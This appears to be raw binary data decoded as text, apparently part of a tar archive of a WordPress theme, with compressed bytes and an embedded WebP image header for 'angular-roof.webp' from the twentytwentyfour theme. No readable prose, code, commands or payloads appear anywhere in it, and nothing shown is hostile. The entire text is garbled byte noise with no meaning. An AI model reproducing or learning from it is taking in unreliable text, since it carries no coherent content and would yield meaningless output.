]Ķ8,ȹ@Bvf`_SPӺ2~8ᙉgE״3:q΢Bi䲋 K%HBy\%؄u)$YoN)K>,%vg++O o76܃Y@ t:5I,BI"zwwޱ4slZБ[ni3XҽX,cф"m'1L5@+0YʗRD"]$e璕a'C/"w.5[%-Xc"9!LJ~vE:r1.TyS.ʤŌbB}-梁K@k3݉0_ F@Aᜄ81* DN4LF*96}h77,Y2_Ae$tg-:mr"ҌaDT"H".NxpueXql~!Aة8ZE ?OjmaV 6oXuqѱJtcy 0=z>yu޾ j^>᧭JF(éx~@ЁY&@Iܫ9:=0y>os2V_腵wlTψ2>$.4ɯ<9T+ 8 GE>·xN3>c̴ۑB8;w^(ޭ)4>[?&'":lC1IGbZܴ6H ^m+R,9ͧrh޽]>W;IY~o1~ka7\X Dkq/op,.6Y6PP;vmSTjB7 *q~%ҘK|CfB& BEpݡܪDY\7vo$lpd12֚m~ a(L:DtHj%YIH˙mܥ,;r.+Ry4߹֗2eW<É3痱; aq4-_,A3[ٿOS}UjCDV6?JH{ʁD&B=!c24WcbQ(6לeoD}}͹QӹeD&gѢ05y75m+U>Y{ ,:v ʣt>( *BŰUKtx77,zYO&ӽeɎ<-K_zdhs+OsEcdQs$bg^|:N$^+Z^%g{W1$#sbQQ3Qvs}J6AfygĹ@uK&îé7yYhl N7Zu+7g,]])Ŗp؊f<!_>Բ^(Sof. bQ͵ׁ FYnw諳0W^'(䩧[YFGn\7-^l\D>Q,C%K;Yx@fᔸKT@By♷U䟴8@lɗ+ 4ÒKUswiܳif2U) MaN6 CY!$q?!|9pX6FN,,xy <L֘$RsEP}Ɗ8V20i5Bw CBwоkmͧ!(H Ǟ l";B;폪s+g{)POP!MBJTRgCwY]*%"zHL⓰_3̤\#lYkOrf3Ҷ6U4ب92HL4Jb1eExb"ĺ'k{9 1uAfNľVel!1-2e_GrI՘-ҕ@QGw[$S(-?'ZR5.S$W҉6e$ze_]c#![,BjkC7W\+Cq EIE| x^ _ NtYAJ=Ձ5b6\C{?j;t)l>ϫ`^)RE;y)PTz^-z~Y<'ȒY$˳ f.tb!a )Ki d i Ia\p\Q? RO6i Zo~aL{ ru %0WY߇eKx]ƃR'ߴ0w'KA;NL6d_oiGqLbMH}ѭ K2[&̾۠aϳU@58pgVT;bAu{@gQbgzo۽1ޣ+5!gc{9XAя.A=cPYԐ(y5hkә\ITɈ7"X[J&x_,sEfU kWޫ8ݝ"kGQ&M$ЩjNtKExoQ+qti9*BFiF843՞h%́=Npjf<`pu?G5TgO.~"h8vtĥWUϳ÷2e /\l-cYo5Bߖ/FZCq1\LB__ bS'n CW;2OyJ\^Թ x"V| K%=h`ȍnX]-"%RgT)͵tϺ+WTpߖj9T.vUͥźoys4\%BݥYt]5^\HcAǾGLkt(7y|E8YIZm[Τ()k ou;Bw5xWPǵO*@S1i┣vUdc):BBn'hR%`I$Ë(o^s)9Ғr^fܻҒ@P~nӺGãT<7A 4"/Xnro$"1B>*drLզ<$?3 v딷%+ +gUM _㲮&plo7<+7 DӫhH@6M>)ZQ։F|A`3&/o !tEw71&ߎ^V$6(%YbߍցWZk6׶?`۟lii7{-,x$BU[tM93Gw=h$IVD.bVYdv^2|4fjN/&2"56t̼/Dvqp2cS0n|Aew'G**dT>X{7x]SP3)D=2& 4 1Ki=? Th3wE ZxAXH#BUSlJD?·$*Z'3;"o)M+(KX4Sx׼8&sNɴPN,]zSL\IqSE,߅QRplۭ.Z* Aπ"gΚ}vhFw>mN T^r׬u{.rBwzj$?+LyLS>b8E:҂0,+-( F8˘U,fvt EEjڇw!Tn;Uǿ|vxckUkvb ;ZQJ2y\8"/s&ao8+..V˱SG0(K O'ܽ& IkxAmW7n{Bu0t=(JbHavӄ;HcD4lدp;6! YPA1OBVp >YoxredzLX3ԏ[%\dQI pIyU=>1I{Z&m\ kХ0HM2Roer `&v0zDC}2K>Zax Ktۧc3bO 7y"Wɦ[OkpeCQdTO5qwla5BGg2~ײƯg1v; Z-s!]M !en(wfD#K# q9j~Ֆps`^ӝZ`sڤd2~ܞ˘&-2H$)8BxIUJ0s##ulȅXۇt?Ku@eEF\oj,dJST6iӅ)陏W@xy.NDLkZ pdU2PFcWRnDkY$qj-M P$[X2aiy0[ƑL7Ň:Nh4[-8.e݄o0_HiE: u@$u: e]@![jb]?\^]mvu:$b^Jcm3gCBV [3̵MfdcFx|vzJ9 q.ԉILEǜN+(3Ϝ[!øU@vL^Sp@wktFwU2#XteiH:&Êwv5NuYf3 o-^{Ќ'/1?]H ~vN31&R/@ǽ9&eT)v^Ap)jkpu"Α{s--L[m i|/(:}Vip $mX 57lO2 ҌORRSnj.H,JYy)zR5eCzIj,'<w.6 r6P2)?tqnL$+&(Sۜix`}x0Mc_@YJC?NEMTfNTJ(W@wgǯ}I-K9Jtxkt#B:ڶ8qvp) [: lWO]Sh-qhp"):(0`/ @C8]tѭh~ˉH 0_2}'%Fu ELԨ sqr}L d˟k&tC8滈0I52H7#ϛ3?rUA\k_eQ~j-I>!O8̒(=DϖC$/_@S9&=e|D9Ucao4U.ͽֿl$ԧ d>aqbqB?$Ԥ# ˄i!6WΑU;3Xyaو,ݖ-"d)ARcU}Ą9,l7S B(Wh#ŃƺOKI3=!C?A뿒 lr%nJKBGڈ GC3P1me>c?% 2хJfr\oE;6^> =fOQRTt<ִU`ꈖh+>3nwYJ{o)wu4KܖRKYc Zjy5q`'w|L.XQ&V\}Ks,Bqf׽X! ࠘zFYm0h,/ k#5aȢkЍ *ބu-f#`)CܾV#_\g#Y +)\U~*e'W*f8a4]/ߥ_w\l| t6Rݣ ..LE +R||b=BՎΆ>Ԅ 9bh^V8{UѦܶFJ46|$XN@dǝ倁1˯BEA2M~k^3pŠSKiWt̢JPᦥZ{xHކ )~gU?T* "Wb:AlM̹WM> l0+ 0Z~o{\ wy3{- fX415u;.r8}mYxaZ>v{JZw ps:82s E̽oDjU1Q@DzIm T$Wal\ge%W؎"X#a{?5+eEh) alΈP7 l{Lj%@i ρ?ɲzI" LQ(MM{6@6e.yɞ7 U S,F)J;֋ϥzpuCwT(IvWժo72+W'_` m"o+7 <]|/'>ڊu)zff=^@ސ_YnLJ&*⨯.9SDC,!Hwn m _dDZ8^4X`gCk<5Pq5 Ɋj{mUʃ+râhX bY mFVҏ/I8"jw7DΑ~!W8DS0Sڒ˔k~_ l$#󶊿d*FP+d"`ZȰP$v7D{1 FoH00}E̴u**)'vzuduq>cuAB$7t0ZLF]7rR~(şa@5e(cP`8㌍Òfyp|>/ m"2ÁM,{=TP{#C40 2!mQ2?60(!\?!@.(D1x.UCpJq9ՆHt)ZmM `. w ؋joSp!wPypR[`eߕ4g̵/+#?G?=mWAx1t.aA0YK 1#|XU"m#|ҙ+9&:[4Jx29D|)[rmaNnC"cq wfB}HbLR' ¸,?xȜ/`(az%gJ} B`y?ۀץ QC%t [ xbxwG̙N~}Et1QF͸jb+ 'eq4B\U5e"xBև6QjtObw\*hɛs{na%SH %wZas/h AZQc8SWdZ.f=bhuܴDzz] Ż}i~CXMs$AK-@hwLS '+HI2eOJ+8 2i)YgaDk#/l>zQ::ݒk* eZVP/uxh+$VL5yRnm3>1{'&h2./Lvtvq$+6$ʩ"5 _UT9 |\kd"WkOF|uZmZIdwoP]f>ݽG1R4!G9:#tܷn1=le_`*{٪a7Jg5%$TPg+2\%u@uN MXcn*{)!C TDr"? E*0K1?R+-9r\Y;¨ 3_POE_3E\R(ю=;GNck4`,o\4tCX TfƓ9FMC07ћ#3H3_iR -;W'Cfq0!0U=<\d^Lww=đ ׃4:Εl%6 H;rv/N!׳^a.*}Y2Xq_Eϓ%k׮EdzmHK34`wSi?dTl+W[zFq"[< ƕ']RFŎ'j((c !;V)Htm$`3KDNoIQBꌱ+22>gkDe41Z ^SFC)/'~CކOU91 1Hf]{NJ -,.QnT.V) Lóਿ];zjR Ju)b088dh'\rg+8-/O(As/d-Uxҷbla/9eW^1)g)i 5pCEնCo:MolO yG5UEϫ-Vr`9d(6p R>{ee@d ;}ϙ_7Zф1v@O]JO/4@6Lޣ;t:|6(*g'``c vttOGW3:'v~`p~j1ԡ(y Pix_r Kyء)} eȽŽfvO#ژpvsiY۷oEqδY,%-\+ \Ð22K(t-)o>Au*+S܉: 9)xT3)i>;%ɖnoysL֟q/jv|6ZX.Zw"ZwD'muhRv&'~O~]qT OcM\ۦs;]R'9\K JD/0Mw.w:fU}/^88fPE.3E{^llB<\#Zˤ!0|7!]`*\ܛ޵ܾwWfF`>e`b6Um 65V{(lGJ ʹ5) =1MX71DRΪk5 He{5">%f̰TSco}_?q;Pk 螣 px%ZeVDYhA3\ct!| `ցVй}Ԕ< ^X?{#|$/mM7йr4pҾ|J Jq=J5dz 6@hh%&3,.5DlY"%͢F+wh#E"Iӯ>v@B{.s|X?b`%`4r#0i3yn (mg^C >,IMuZ2_ǎKr7_l=,q>Q 9ֆJM@ vrIH{R}&}ʸ 8:h @\S&^4寥G2a]S=K7~:^Al嬴% Gr Sf@ ",G'ļk!&_Lb(_$Io8LBB]jDrh3ɼҡu$*El8/+\8;Kz_ M\V1f| @Ù %"ߴ-A*$i&u/T 6Vu)<D!kɾmɷa k4lQ-߯ W'w5ɳ+u5b [C٦GF?%Vi/=5/sMV{Kp6h:wt 'u̒cC08d?"K..xm *|F#I薜<ʊ7jIv[bo g_g1W2EzoҡVYP+B'Ll?nzVHޤ^'J0*Rd>Q>nHc_>4&u"oRA ^@S]Rpϒ7 ] ӥsn<iFΗX8dOvr0_%F)ZiDžG`f(e% a gʺvXRiNr"#3ü tկdաO#z#Nʉ-ZNFB_IyNAbvQ~CьWod.=xŒ]3{@1ASUrmm7ה8X!s~`Fj!M؜j>tǞK8ņ_ ߇"xN]gyDy'A^!|H1U7u mK|ƲG#RY%Bp?k ɳ#0#-^{^nSD%6H6(qf2EYJzb/:ni T{ElnYW& <ܐ+I sD|PtŹPrL="T hf9YS0Pø|t5 J液tk zyG{C'.29Dt#m~/gU+YOt>jpn+`$AP YS#H$G| "%ѽGt¥ ?AB4;@#; (7Rj*(_3gA[ Q7GS6\ qŚ[h̲ۜ{R77?~[aK#eƛ`.òn(uf;]^>&'nJvd.|\Xj\?L޽|;1[(DGE{]r̤"vmD`.+I/2@;D&QBh)Cū:c LS]O;bY,Ƀ>D<)96^9u|#w+ƞ~<SC2c,coxݸFcgsJ TX dXd*a!4eF$&z6e%+C]2Qͮg.QHٱꬾ|Ѧ*I@M{Q'Pt|/ggh e)8p< ;/=XD^>*(|^ϝځ ;.ѕFwԾm_0W-ʛ;B&P$颣L[rN@DZ$Q#It)\Z(wó8/\yLHOIHg,tHfPҪfNtS@1hЕ^\ p|ue)e pn/cEpm rpP>Ž|aC|Y}mH**I/z7,%ҕLFZRf> 0EXIFMM*JR(iZHHРthemes/twentytwentyfour/assets/images/angular-roof.webp000064400000243774152335264760017612 0ustar00RIFFGWEBPVP8 G**>2G(  gld3V_=wVx}(?VܸkaNAt^ju3#ޗxS羾/'o c}Q# Gy?;_۷ߵ˘?W/D}_#O|/_uao&*r{̟۷/m _׏Ѻ^ճ~/C 5P&㫒kl9[K!-f{-g|S s܉0@-o}e"^X7<PEY68Nk+ H*+fcVv{wʽH5 Տ}u6r}!褶b͙6fX %H^ȑIӣSh[dd]qG7;k5FF >$%Ѻ5;/DS2BPeD4aڈMv2-l\7%q%im-(ݯJ0a"h:S"^-'tĺrEo/4Øav3n-t_vNmKRZK΂٨$ Nal:(xhax4-vb&Sa`_!g2Z@؝oZ[ ypu]L?^r=+VЎuєW-$ I8&`6 <`=oRѶ9zD*.1=[96`fKm8%ҶxBbYnӸǥ})"n_>0_NNRzTxEYGDUQG.ĚCÖ&=~,#b<>z: ܺ^?Ixg-P} /hB c&6nZ-r1'])FN.3dg9YUls|4r5 < x7q߼̧|[wG 9Imߟ K@7Jݹȩ3_40bdr#n m)o^RS=!U/Z!9FȒj1b)C); _IL9<Ƅ9oKo,зHKnȾyκtͣ.G Ϋ#j7]quɴh(؛H%.R5E0*y$\D#pL&Vۑ!zkW,l dG/e /djCΓg2t{l!i"ca453GNJWI;pHSղeCnAHuY$!VY/ہZcuktD'0,#L+:p_ }LQb4{WJxշDkF4A4>Gd{ jKco-o͒ovʉK7[Ϥ?`0)ߙy[D/OC-eD6 F9~fhWaz^<3L9 0Hm'Y۾D5˙y'6U1[j]D<q%\ע{: ȇGGê6$?b@H]>OFa0שh`h (CPz xfܿ7Ѿ{u?v( ٝ3ke ? 0j"h!h'q=b圱 bcP#Rfqq(Gh>UQKĀΤJmk:y{% b]ce:kf mJwBFqHAdi57z*3ҨgSq:"]X7LIXJ6CO^&Ꞓ*Uc_wpۜׯ‰r1 /ѱl+ѡp$`P.Qx/|ͩȡ8 a߶ׄ !{y1oT\Z*bk7*m$:7W0ESMWGZrZ /nt3glrEsYBΗfX쉆hf4DejN댣vR뽈N8oQgmܛ/+.j8e"AW+r㈑zJOcsAC| WJ6ߋk$ PvӖ#e(iZI>Ƿx" ҵ XSX> ):ךM§FwFJC pE}Qo^7?LF9Pb") 6oJ@MS xKb>pYEh].Jx[PB :['}qϠR9Avf ,u/409Ȗ;}9w½^fdy|dq_pU̖ Ӄ!S>:[ d.@ĚƁUdFRƁS?h8V`h99>o\Qى癿im}|tzAPo]&Wnʞ5mb^P%gq\CǐRPOϔ>~40=qle.Vӵkg@E[S:@;S ~~oAwAYwC&aj0&GYc,{rZҒw#t(EʼnRKq|R@hO"/O[ͪV~@hsD@? b׉qH36xx!St>71eJ- ?E2<n*ʶo0X[K -mOGЉcZJ%捼,5⪶~0:2 pKoqW_\G*=K43YJLGB<r{D3KfK`ȐG(!re)eju,b`g/hR譿2E!plgtoT߮JތҗZb({քb  '7zTz9mV"2k﹀tVplmf ԇm,)/j+!jm@4^87ǒ,&hnS(R ST(bQml `1_} Z̠Y'%+^G9%=~ ~D Xxu~r92S}6+P!V⴦P\ xDr7SD[bCqè`X֌%MhR3}+{r WPŽSD1{< >)X٘ -!!P :@VSA';~0؜bne)s S4z|*zC~Q[{pk>nN#KΩQ 6&Wl[XİέH'j؎ Z<]46U'NGtbɯ@!=U56sEt0ʪah(ݲNq^ê]V컗Ǒ =|ߋ_鍔RID[w ]A ҝ veZ&vs@8K$,ƩTQOqDYd2ȍ~.C~ŽM~(gm5m"=7S BH{2vzJy[Weh,Bh %Fi\_12]iLo3`|–"w@p rDѮo`¼qEsؓă.%LmL)ԗF|>@PlAK@4`ؤZy4 }: {ceLv b MUl \z{OE+0'y&:bW!O&%ZߪS^s;mTku n)=MdZ*8e_Mv 3"6p"޻?FEg8f_ƾJf#3Pg ,5KTN^3DZn,,Kug$qI |)\.3rcp&;WYYUh{[V# &>$1*MQ}u! ;xDsq!0djYSXڴO7ugMuYЩaGPB630̙I6~ݵĒR [r H%`G+jb'R[,WJEcI^ñj3hJeR:3Dy^Alv4LVJPIZާ.L4u" `!Pj K!LzAh鹲n6LߗFUILŀ,)[È/-% .1~C-U%i~i -)Xc9oipմ ]ܨ_ѭvе ,x` s r0͝e{hdhk9*\ﻏԁǸÂi ,!l+h!iWF$pT:e9]Dm(4ZEц9~8+tG-)xmJ S/VeUgd!@Гs*KH.@KxynU—8wRpesu?P^]1@Q裤TØ7Lz۬Ȯm+Z`̈/ \6df50)Ocο,E!!Qʎ~.x6 ׸[rۆVvd#JPD U26Idny;m!~8wDl!/01>Ul6Z -Ҡ%":!?X!ߔ}kyHJӧdEC!.5nUѤleJ>64i:g[獣bKO3"R.\qݻw*8.8 wPfel^ߡmK WxG {ۉװA`į$Jw"bRt)+VcN)Єb-4C&;.13Y A]@W Z=okYdD =ɣxyLv0nXǟ\6;s4( + .&IqN]k|u ÷̴q正Lr uM-FcYtu[$}NA@g}'< S@)TT؞&v!MEݏk*By b^vÓ@[Y#C \rDq#QjbYnV^;n802+#MFhǏA 3/%^ c$od&yIk0ТY5[= hL y,97UFu_XdHOULx*:@ĻE: E6 E+]Y6BEOhPSRK^)@ zj7u}͸='L êuAR<%yOa/VSџ}Pi̯>.R6""2=P0:>e `)[Q m=>' s w`_xԞA ,blmΞ6dTpV*Wj?:pLv-7s7a3(xrD8ϾȑRfݸM&ms /N[2h8\U|10{? i*,R$z,e8W8^?%o=@l u(^q\r!K aBx/i}yz.Maay;5}b9]흪tF 3{}OC6'֣loh8NM20gyZ'oQπ{_./ދ)tMEkm"ty,g.^m~ŭ!|g3I2R|RڡČmǴlYǘ,MmiO? 1/CL.7q5g~.*C0ͫ#$y^V'@UdIʭUgDM|b@h; VwR[CF"?ER;9p VgE79~ۣ$>֪m_!cn_Ei8Õ9J.*A*%'!|FNP܃C߯HHRGޔYU,ڔM+XSc_u!dV -U`d4C .UJXT+r=ě"wt\\mvkbY aK;xbQ36@do2amZ71QHt'^DHb *"="BhS忄܈e\䓆Kj]Qm'j;jeu ua@N-_]lDqUX\ HG:o߃Cyx~*B6sn +p3"fT15ziq\DTjM hNw!*Ut!]] 4_8Po6PNVf jѾmt+2 &7 VHR4j{H,:FRɽ.w^W ~\jRL#VDDヨDO?eKtת8j2o;4'^'6WR(75xmI43qT tc@կ F^05ǑrTX< Ru!+ySoCL)ajU2 ۑU_t_&3^_w$o z3G2{G\v5fb /}O[S;>Kv%gAs8W-dʟQřkjL]:2}vh#Ym`R BɞatFB¨H`76o΢&a$L孜՘.YZmM{ @꿟HDB 8Xba|(שRQTѮ@Տ}}:b&/g%:Gn;Ht kCIýd;Dք&U(KΓm--Ju*L G)!@K"~,7 ~z۶M5lXɶ˂IEI 51e+/8GfKNUk*KC?)D{O0PM9"W$$;Y̊f\m-YȳnYP%(&;SV%:H1_9Y}|vw-4r`Ɏ&0˙v.> |4qǹA5e#kIkH҇s.@Y$f[ޭgC{?"<åɷ h 6IYo÷]~ϦgKJX;vgmt&2!Kŷ^ [݅y&3. |6 `Εq<oKW$)Z4 \]_:WTX\"K ǶУZ3EBN{A3) v_n1FTv@\ܪ.] ϔnp$3@ߕ\񀎉)8ʸ[B>B4YXs5#p7^bR:E2x *?sFkp+Y g)bJ^pW,@HISrCmsmWKCg( *˟BۅR³T&۾B;NkqnG#K3d|p)C8l)ߒ({Ut,*a3:\0,WHgEeo7.ɑSFO]G[r iV^lqYi-@bw߽HD1c1^"x7ڭi'H&b挅KJK6:jqp&ֳ[@|~UpE ujck`*!D5 S sg'=9lc[c`H2;tcH_$ kk趞J[1px!(a;Unӓb:^Co( dac7 :xt'G#h@:_@]hyR̀~#8a* 3 j\hkv|]>Zݳeu+lQ mIԿgZ?>$+뢊PcAd7%Ze}tWM03e,$iW+f `{lbӜ1s:C:[VQV r0]OESg~τ=|T9%Przl]ux9RC9tnBךFֹczuGBw`ӓ^K~k_!{o, 1F-[Q:P٨cIrgt򁍝Н %R묋0X[JND}I4T!o.rcOKDٚ- ?UGKz2UZ'!Hq('xAW+]o{?m8@}֞lDjBՒFmZ&݌V܋ȽUArեKnA @{9 ~\Xhu' %@z.[F+EOUr[`=l%2wh0UL3h?dѷd˞\?^Ot3qaCE˱38M>O 6~Տ_<+X J8bj"R@?y `7uu'enpdng>e]ӅqN ra&[TqhO3R 1-+fQ35=g70yo`k+EJMXf粲Pmn*]GE]UŐR-<0=EqHvsgəeB:_ህ 6w{,6s *#͚aA׋^'Wk1PE%[Rϯ]ڌrVtV T[+Ԇ#M60[vJAB+L=Nx?"%gd#)dl+VBc1;*2MͤYkXl?E^zv:3CPFG}0OGg솯5W493Kkĩ?࿖PK H\~ׄ9CMunԖ}.t-Xȿ\ oںt-/+Ćq#?y\co_3b{8q1Jv㷚0F2zv*;&PnvWoNnX'$q; Vet Gf<̹̰Wvq$>/,Ni:"UʣP;2ᮖ A9,✆/ ʪ'5#GgcB33$4.] *mÔ|xjr:ɌdjKk mW}qhL\[1Ez.5VN %`>L?,wg^.5, yl!f:~U5 2WT;<ȔDM![ClyGb9.󎓊 r*nwvFv^[&Q qB~w4rţ!1Q!yI1xn2PiCwe6 :`g BEط쪧kʆrK2O-Ldڳ 8/ߜ`0gxj!KIյ,!bm-7W"PQ]*gݯ8pxn: 6XRMk\c} (c?}- 1=93ICMK]dkA#= 5c;ŕSsJ%>nF,(cn?/)6hzц`vB?"$kq6oDRlu L~mII.~/QII\]wqmewxQ @>h٫k-=. ,r\ycN9 M0ِU ,hEU>'FOS6U'Cv|3G[%8fAk'WW9#6jX)Ƅμq}SŮ@ꢜ`JuΕU$éL c|+8OwSUJLE!!XҼﮟA;!`Υ<\W g:F#tqGQ*+X?1 p>u=;|/޼O3Ԯf{[ ٳTאgFm hGJۭZy}AhA*18`L'Dy"TyTIv67TOd8D>Xo 5<<`ad}@(k `CWЛ c4 Vm]:Go*eBдvRJkRnwm}lT#~b~5jF Ƀ4Kzj3ׁ7)cm!Q+^k 1WU6U 9.TбpS 0[2ayN]2ϙN(-semNLû|o~MmUTʯH 5@6ٵD5n6i|ة`Ќ0X)pWQAZvgB벪pAI _: VvH݃y-lV2WcfEf%Usa揊9otow7o#0q/rd3fH\b@&gǪ`)HI 7OtX_{d?\QDgh"Lw b%2=*7GepF&mQ5dӒXQTxdPDsj\xOj`ai+b9,i։t{׹Г Im$/o20wP?\A%U>_=*XkrwaNш4Y\J ano;!\'KΣA$<ӧy-Uƺ֤W5^9Ӭ77EG-x%΄y2Q )x mJgg@Mdv00x#3]#͠S SMe&$)E1X+f.$uyQB˖*-b R+b4 ?` bLx9rs¿bGUOf;Nlˬɏ@aC(n eX\k7ɐaZy+ϓb+TSϫVjY]&ڵ' cd;-o+FGyj(Vy3 8>J`H."{YJ*R9C-6Τx xl9PO(oelhAle0p#8ivFGG~~lK$,M!B6d`8`w&q?PjOZxtϢ؊I|"wx`DLg2#ԗLh<4_GAtA7.QLXŧku(IAՍC,(ެRTJ,:~1$][5R;几`p?So<*5|lY8 })=̂QmnzDɧx39L}1k%aЎP69TKgtTQe @8o u({[^tKx H`:wg"R`.2I 0 wnrSߒBt}$!< Ki" HhTd0?9BLtb% \NM1j H<*Bqb>=RΠIZp%AB; =E*Mt@}uR-dF9f23+f@=a,iIp ,WH˯Q]A$aץπ|47k)Q@ Z0%pw{T U ڼ`%+nkDȱ56e*&rsЧr)|ֳ cn~Ct wOف$lBGHY?a_`ƌFhjr2w9 !Wg'! ZY e(7 jdonGuZף8( X2a<1i1cO.J Q3"\t-fīXHfSr6"PMfbe7?.ŀ&ECz\DX|X]pܮ#&20!n@(,"%=,JUJ3\:H Q:p/("]f\k.a>XϰOa P- Okk2 hE':Z_5gʚ_J =  HuBس(4 呣biogLAmW5 ҠT0PC=C1=H\&! Bּ;kP{|wɚ1R tۄ*d@AT.cߍ3WSwwX D؞|h,ڊI^ BUqJ\(0B7k;8r`:`̠O,"( Z\+kMe<ǜ\k%q?pɆ%~@A>GɊ"*c!/Ms\^}~ܕTi9kIRLi5/8l 9D,)IO[i M̅X|bFY%͟"eC0`J܂(줈!/C(qQ& e$ž& 4k-|{SÎq*BqR/u㚖uHd>go;Qr< *T& (Y[s: @1ZȥNɡv'᡾C1-!_sgt,l᫤R+PʂM+eI:q:>~lˌ7Ay>ךa2b@U P4ullyʟDtEH- PmY ~?j6g\"Bv-?^6G/b/hmm@~`D(% >E1]L*fGzW0+8 ozmCΒ0G,7C!RRUScXV!­׎T#Df٤-5&m,R&_. Cw[v=zGpP"#':o6u: ʃ9{c~+(a:^9w@ߤ?I\}jivMMHŲ_iri*"dd퍲ɡd)6RYPwf˾n/+E;y׿\F~(E3QO:x|o;YyyB6\lYB"M7)_tF&b?uN)gS1h KE^M YV[bS;> wpwM^DȦ+e޵eL[$`d0.Ld,['` @-+Ë%y"W^2.Sg)L˦Plb.hE҅?1A\\yFM)ƥ&G@8 u@ {1.9m? ~%j'S0[M"񗛈DBʢiӉG9r?S<;kazȨZ X# &|<$ n {?aקw*{ JD/Y1@?9GuhոfQ}FmIWh8b%=t6=q:o5*:9\)#Šqdnkelt|N xj,yF4!HKvioeMy֧ -y|- fзJu#8B Z]F5`ϓoaGS.!nJYZێ C ;k|淢T\xr3P 4C+eEdVElKthArog3v^k$hXDџ-@Q-40xDFS+ Z7u >"r~ǥdv"@@<4`*S,&|#W;S43j+  !_J} D'<: C#~-ہ ҖWT˫Ɣ )>5vLv17maJV$v/Ɲ!*FӮbY2`+ iͨvE-롍EZ&hHr3`DZd]r$i(՝6]܋ =W)Bܰс !K̇r>vН6ؓ'֜`D3oՋDC=AMrfy?/m/񢖣~jٱ: }A\y%l2M]c"yZnInlfزoEBzʭ'OfRU5g8_l㖱XS 0u(B*tN au1ߴ )zKC7?՚ @)]w@" `r};:]ҳV[,"'Tkzo^GZj蟂bZS,PW4!"T`HF@@GljƀC_sUp&-];]g JS"+0ܴ6pB _PEwK&δ*xxNHҔpj]uUtЧ̛ G+6R U1KSp/U4b.㝎0 R}!.'0\\GgI}E8D3 q!\az|$" Y(K{K3}n2MާQPqVUYH^I6M0 [Ş%*yg*Ug^;nЁA)xNk#ZT&~ M2#İH|Zﴐrn'N2,_?Ʌeuv~G 6yIu/:-l0FͻYUtXXbSatYjUdۯ)9AM~Vl–{`F|3L]Pqm*K"J&&꺤l"W㈀]! )ڃ BfK~ s- pJELvFQ%1Ct6: uGI[p]wO [1'0u mH h9.OLNVb}"$uTUQ/WI)cuv۸A^P"FRj6 Ƶt/T5\1vNMe]A>7?@뾫w\w F6@T5BےCh{-17 CD+B?zV20`>]ߛ;R֏z$ vfm\> TjLo*;7*n:qsÞmFjٴ%ݬ=?7@/r}b<9<*4@_L)/e}/r>z`~ؼs-p,^% م)4کE V8W߀?0GĻ! sQLJ֌䎗YNJLϲ0mzɑXW; KO&~ CYZ&$tH )7 "撛$>>gco6z{`Dh9%D!_g 0\}Ig .RcX<髼Rīcv\*Ę"I.7,(#/5 @-kI5ZpwAI*P;+Xeq,0]HBexyŒ9 5;x^²ώUq(gi+;H 1XmBY(3Фi<"elm)/A}sk='y&}Jw\[5½c'y(,/*dy왋AGb dԫMxGY["gպC`&ZӖ,~yry7~\I^,;_{`ۧ8?$rS㻥p) JC3ъo'}OLIYڙ⫶J(9qmf/4{HvQWjؙf!r)_⑐(kc=>T (zS qꂈZAVX 76fҌi{K=cvir'bˋɝ0=x|l{ԭBO҇B 3FTwcz;܊~2ġ~RW) ẼVA $o-j_ 'ndJN.`w,I7IXSnAIl-(lAiv|D0ȫB XHt ]R}o 9Znɤ7H 8N!=*[]U`!mYDG{Eװk:-Y( !|jSfC~Ǻc'V LR+T #Wy P%$ْUxMZt͸ ~Z$eå.Pg@C<ɪ❕+] {h -2#ݟsٛ-O7` (eA_PK?"-Sg%ݽB=Iw-eRDY檐"QvNkj$o-#Y\NU>㈥ ߴuq>%`j7]eh[ WsXl MG3? E>g1%eD&qq$h#N+M"¡i K.(BIFZz5%.6Bf6)x8'?[ÎH3L dVU,Ea1IWRFe+R Ԍ! u P5BZC) OZOU,#_BT2 ´\a}a?|9IgUC9:$#T+ceo. 12IuDy}f)wou"D'IPB4ZyI•f8Wڥm#,V۸V$=[lv(;g_,oKe5L9-\[wț➲:M|[FfL?$㞁t2aߥ5|3D;Ї! eťvWkXbr϶MuV+/Jyؔp}$3KmS1 AmkUڔcB|pF:t?~o˅1_/F(5Li,. L'c߰W(ڦF! x`H+<% aǡZ3Vd_mx/; 5kZ9[ F4K e_%OiYR`| Nk[SЗ;2 >h;>|xN u[*|A @޼𮺒zMMcZG DLĻz)h6vkTLxvE-qƴnu\/)o%I aeY}V y d4i-1xQ hsbBPyQ{9IUvXQ' nXrs - ;pIgV ԅ.$]iKmNxZcvDmX %1!N/!{Scb7墳*z/h¨ d䣕M"RHϑFJǵ@D}CHZ$L Ia@1ϹEZ@ 72m[lCHXPMwE!ι=XU)k-Zi#M W) ċ[0Oꡟe+l0Voro s֮^Է/; |=sW31Pqjԡ+P=Q?]ؓ grX)/"_ZU'yg⛴#|J!qH+19'uݨo<6J^Z z1uċ鎑^ex{f'*~A2&KW]TK^ʼ6pM`/Cdۗa"8Z΅}-[NZԸ`}6L*oh L_mjgx]S6gwKOx ;Nn8%kFDaۺx r-=H+45#H[#A !>Sݤ(nQYVOz`=j#$l?^<-!V`]o؏B]__ԤDi|E,P v67h=DShV9m*i7` 3K丹րA82C^%ܣp<%Q7 $'2>G #&j Г^¯Rg 6@ToNXKܾVf,N 22߫E2 G , 1c^ d@2JERp&r8+6<32$@:/-%/gЊi$`T'kΛn̈́oƺ4 uG7k> #u^`C9~ S <7)Q|[ TfIDhANTc+݀x[>RaٹF$&^b{‚yc{[0v>oTkwBB VɁ[̼&C/ēk{l6T\*\2峋4ʜ t\bJ|ʢ V*5#pGd'~IK/!.I\qs熵k$:wsX,'oz܊m"qe1ɘ60,R(*:ɲp_<#k̗؜+e !g U&8n;UI~Qќcq@#O7(hķt͇"$yJSJKQ%M"j30kkV(=t>+Ά/* ++Y+Nka>KA|k&@ ]6@cy$k65ԸP<24l|MPL8pJc{cWIdjK@Ky; C  %[is80) awm\b|ĪyglS^Y&\fߘ{Z"WӾ$IUdmUFF4|,WW2Y XmC"`;b! 5m~pmPnaX떇5"9:հ Hnx[%RhΓQCӸd$ቊ*W 9B!hǒ7̷)ݧ^ɂҍdɖ~xԓiЙgG*ҕ" >""!7ӵZ,g*i:2DyTLEsQ9ͦMż⹟c}tr{ 5^KeqV )%6' Ơt{\C"wr{&BH&cP-NrtNORN8=!H ׮!¢bm'B9{G@iG+EYMU!?_VH[d(7]Lur !*m qt0Ү@ǃ"3%{blElF>zaw-cu-^i<,9h p[ 0v`35tf#uFX #,]w2Bk\5ɏ `˪$kk^N|Yieט5>W:qZwmJܕ"]G%$7B74&&+bvdPW wZݞy=,6yG#@ ]V*c!xI6)/c><~3 lW՜!Cf~<꼊i&@8 qg)!b;L?V 